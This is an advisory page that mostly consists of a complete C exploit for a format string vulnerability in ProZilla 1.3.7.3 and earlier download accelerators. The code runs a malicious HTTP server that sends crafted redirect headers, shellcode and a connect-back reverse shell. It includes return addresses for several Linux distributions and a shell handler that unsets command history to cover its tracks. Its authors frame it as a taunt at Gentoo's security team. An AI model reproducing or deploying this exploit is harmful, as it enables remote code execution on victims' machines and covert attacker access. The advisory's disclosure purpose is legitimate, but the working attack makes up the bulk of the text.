Summary
ProZilla is "a download accelerator for Linux. ProZilla contains several buffer overflow vulnerabilities that can be exploited by a malicious server to execute arbitrary code with the rights of the user running ProZilla".

As reported previously, Prozilla suffers from several vulnerabilities. The code presented here exploits a format string vulnerability in Prozilla.

Credit:
The information has been provided by Serkan Akpolat.

Details
Vulnerable Systems:
* Prozilla version 1.3.7.3 and lower.

Exploit Code:
/*
______ ________
...\\___ \__\ ____/--.....
.::.:/ / \__________ \:.::.
.::::./ / / |/ \.::::.
/ / | \_
\ ______/ _ _ _________/
.\___\\ \_________/ .
. .
..::....[ Electronic Souls ]....::..

- Prozilla vs. Gentoo Security round 2 !@#

Sometime ago there was a private exploit for Prozilla and due to some
kiddo who randomly 0wned ppl, all ended up with a Gentoo Security Advisory.
The exploit got released with a note to another bug in the code.
Well the 31337 Gent00 Security Team claimed to have audited the code
and put Prozilla back to portage as fixed.

The buffer overflow has been fixed (wow what an effort) but the other
bug is still there!

Well this either means they dont know what format string bugs are and
how to spot them (maybe you should better use automated t00lz,if you cant
do it yourself, as they would have spotted it for sure :P), or they
simply are lazy and dont give a fuck about your security.

We support Anti-Disclosure, but this bug isnt of much use anymore and we
feel like people should know that they better audit code themselfes before
trusting a Gentoo security fix. Even a automated audit application
would have done a better job.

Hey Gentoo, maybe you should try and enlighten yourself about
format bugs, instead of pretending :P

But then again, if everyone would audit as g00d as you guys, we'd
have a lot more fun ;)

*/

/*
** Prozilla <= 1.3.7.3 format string exploit
** Deicide [ElectronicSouls]
** Not reliable as the previous stack overflow exploit.
** Isnt it funny that gentoo sec. team + proz developers couldnt spot
** the format ?
** Homepage: www.siyahsapka.org || deicide.siyahsapka.org
**/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#define PORT 8080
#define MAX_RESPONSE 2048
#define TRUE 1

struct {
char *dist;
unsigned int ret;
} targets[]= {
{ "Debian - proz 1.3.7.3" , 0x0805e640 },
{ "Debian 3.0 - proz 1.3.6.x" , 0x0805d638 },
{ "Gentoo - proz 1.3.7.3" , 0x0805d8f8 },
{ "Gentoo - proz 1.3.7.3" , 0x0805d63c },
{ "Slack 10 - proz 1.3.7.3" , 0x0805e6e0 },
{ "RedHat 9.0 - proz 1.3.7.3" , 0x0805d268 }
};

char packet_start[]=\
"HTTP/1.1 301 Moved permanently\r\n"
"Location: http://A";

char packet_end[]=\
"\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";

char real_response[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://blahblahblah.com/movie.wmv\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";

/* Shellcode with no control character.
** Nop's in the shellcode will be patched for attacker defined ip port
** at runtime.
*/
unsigned char shellcode[] = {
/* write(1,"\n\n\n\n",4) 0x31 times */
0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
/* write(1,"\n\n\nEnd of file while parsing header",38);*/
0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
/* fork(); */
0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
/* If we are parent exit(?) */
0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0x43, 0xcd, 0x80,
/* setsid() */
0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
/* signal(SIGHUP,SIG_IGN) */
0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
/* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
0x80,
/* i = connect(sock, sockaddr, 16) */
0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
0x4c, 0xb0, 0x66, 0xcd, 0x80,
/* if (i != 0) jmp exit(?) */
0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
/* write(sd,"SSSS",4) */
0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
/* dup2 loop */
0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
0x3f, 0xcd, 0x80,
/* execve("/bin/bash",{"bash",NULL} , NULL) */
0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
0x40, 0xcd, 0x80,
/* exit(?); */
0x31, 0xc0, 0x40, 0xcd, 0x80
};

void usage(char *progname)
{
fprintf(stderr, "Usage: %s [-cp] [ip]\n"\
"-t <target> \n"\
"1- %s \n2- %s \n3- %s \n4- %s \n"\
"5- %s \n6- %s \n"\
"-c <ip address> connectback ip address\n"\
"-p <port> connectback port (default = 8080)\n\n", progname,targets[0].dist\
,targets[1].dist,targets[2].dist,targets[3].dist,targets[4].dist,targets[5].dist);
exit(1);
}

/* shell() taken from BrainStorm's code */
void shell(int netfd)
{

if (netfd == -1) {
fprintf(stderr, "ERROR: failed to connect\n");
exit(1);
}

fflush(stdout);

fprintf(stderr,"\n[ CONNECTED ! ]\n\n");
{
u_char data[8192] = {0};
fd_set fdz;

/* we'll take care of default stuff.. */
write(netfd,"unset HISTFILE\n",15);
write(netfd,"unset savehist\n",15);
write(netfd,"export TERM=xterm\n",18);
write(netfd,"export SHELL=sh\n",16);
write(netfd,"uname -a\n",9);
write(netfd,"id\n",3);
write(netfd,"w\n",2);

for(;;) {
FD_ZERO(&fdz);
FD_SET(0,&fdz);
FD_SET(netfd,&fdz);

if(select(255,&fdz,0,0,0)==-1){
perror("select");
exit(-1);
}

memset(data,0,sizeof(data));

if(FD_ISSET(netfd,&fdz)){
if(recv(netfd,data,sizeof(data)-1,0)==-1) {
fprintf(stderr, "[x] ewps! connection closed by foreign host.\n");
return;
}
fprintf(stderr,"%s",data);
}
if(FD_ISSET(0,&fdz)){
read(0, data, sizeof(data) - 1);
write(netfd,data,strlen(data));
}
}
}
}

void put_ip(int i,int j)
{
shellcode[j]=i;
}

void put_xor(int i,int j,int k)
{
shellcode[j+k]=i;
}

int find_xor(int a,int b,int c)
{
int i=49,j=49;
for(i=49;i<255;i++) {
for(j=49;j<255;j++) {
if(a==(i^j)) {
put_ip (i,b);
put_xor (j,b,c);
b++;
return b;
}
}
}
return -1;
}

void check_zombie(int x)
{
waitpid(-1,NULL,WNOHANG);
}

void send_start(int connection,int j)
{
int i=0;
char buf[1024];
char *p = buf;
strcpy(buf,packet_start);
p += strlen(packet_start);
while(i<10) {
*((void **)p) = (void *) (targets[j-1].ret+6);
p += 4;
*((void **)p) = (void *) (targets[j-1].ret+4);
p += 4;
i++;
}
strcat(buf,"%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x\
%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.1792u%hn%hn%hn:%x%x%x%x%x%x%x%x%x%x@");
if (send(connection,buf,strlen(buf),0)==-1) {
perror("send");
}
fprintf(stderr,"[+] Sending Header Start\n");
}

void send_url(int connection)
{
char url[256]="@www.siyahsapka.org";
if (send(connection,url,strlen(url),0)==-1) {
perror("send");
}
}

void send_nop(int connection)
{
int i = 0;
int j = 1;
char buffer [1024] ="AA@@";
char counter [128];

memset(counter ,0x00,128 );
memset(buffer+3,0x41,1021);
buffer[1024-1]='\0';

while(i< 96) {
if (send(connection,buffer,strlen(buffer),0)==-1) {
perror("send");
}
i++;
if(!(i%4))
j++;
memset (counter,0x2b,j);
memset (counter+j,0x20,26-j);
fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
memset(counter,0x00,sizeof(counter));
}

fprintf(stderr,"\n");
fprintf(stderr,"[+] Sending Shellcode\n");

if (send(connection,shellcode,strlen(shellcode),0)==-1) {
perror("send");
}

}

void send_end(int connection)
{
fprintf(stderr,"[+] Sending Header End\n");
if (send(connection,packet_end,strlen(packet_end),0)==-1) {
perror("send");
}
}

int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
{
int control;

if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
perror("Socket:");
exit(1);
}

control_addr->sin_port=htons(PORT);
control_addr->sin_addr.s_addr=INADDR_ANY;
control_addr->sin_family=AF_INET;

if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
perror("Bind:");
exit(1);
}
if(listen(control,128)!=0) {
perror("Listen:");
exit(1);
}

*from_len =sizeof(*from_addr);
signal(SIGCHLD,check_zombie);
return control;
}

int main(int argc,char **argv)
{
/* ip patch position */
int i=194;
int opt_p=0,opt_c=0,opt_t=1;
int port,porthigh,portlow;
int c,f;
int control;
int connection,from_len;
int ip1,ip2,ip3,ip4;
char http_response [2048];
char client_request[2048];
struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
struct sockaddr_in *from_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));

while((c=getopt(argc, argv ,"hc:p:t:"))!=EOF) {
switch (c) {
case 'h':
usage(argv[0]);
case 'c':
opt_c=1;
sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
break;
case 'p':
opt_p=1;
port = atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr, "Invalid port.\n\n");
exit(1);
}
break;
case 't':
opt_t = atoi(optarg);
if ((opt_t < 1 || opt_t > 6)) {
opt_t = 1;
fprintf(stderr,"[+] Default Target [ %s 0x%.08x]\n",targets[opt_t-1].dist,targets[opt_t-1].ret);
}
else {
fprintf(stderr,"[+] Target [ %s 0x%.08x]\n",targets[opt_t-1].dist,targets[opt_t-1].ret);
}
break;
}
}

if(opt_p) {
porthigh = (port & 0xff00) >> 8;
portlow = (port & 0x00ff);
}
else {
port = 8080;
porthigh = (port & 0xff00) >> 8;
portlow = (port & 0x00ff);
}
if(!opt_c) {
usage(argv[0]);
}
memset(http_response,0x0,MAX_RESPONSE);
control = init_socket(control_addr,from_addr,&from_len);

/* patch ip */
i = find_xor(ip1,i,6);
i = find_xor(ip2,i,6);
i = find_xor(ip3,i,6);
i = find_xor(ip4,i,6);

/* patch port */
i = 207;
i = find_xor( porthigh,i,5);
i = find_xor( portlow ,i,5);


while(TRUE) {
if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
exit(1);
}

fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
if (read(connection,client_request,sizeof(client_request))==0) {
exit(1);
}

/* Victim Responded */
if(strstr(client_request,"Prozilla"))
{
fprintf(stderr,"[+] Victim using Prozilla.\n");
f=1;
}
else {
if(strstr(client_request,"SSSS")) {
fprintf(stderr,"Nice , Victim Responded!\n");
shell(connection);
}
else {
fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
if(send(connection,real_response,strlen(shellcode),0)==-1) {
perror("send");
}
}
}

if(f==1) {
/* HTTP */
send_start(connection,opt_t);
/* Memleak - Nop sled */
send_nop(connection);
send_url(connection);
/* HTTP END */
send_end(connection);
f=0;
}

close(connection);
memset(client_request,0x0,sizeof(client_request));

if (fork()==0) {
free(from_addr);
free(control_addr);
exit(0);
}
else {
close(connection);
}

}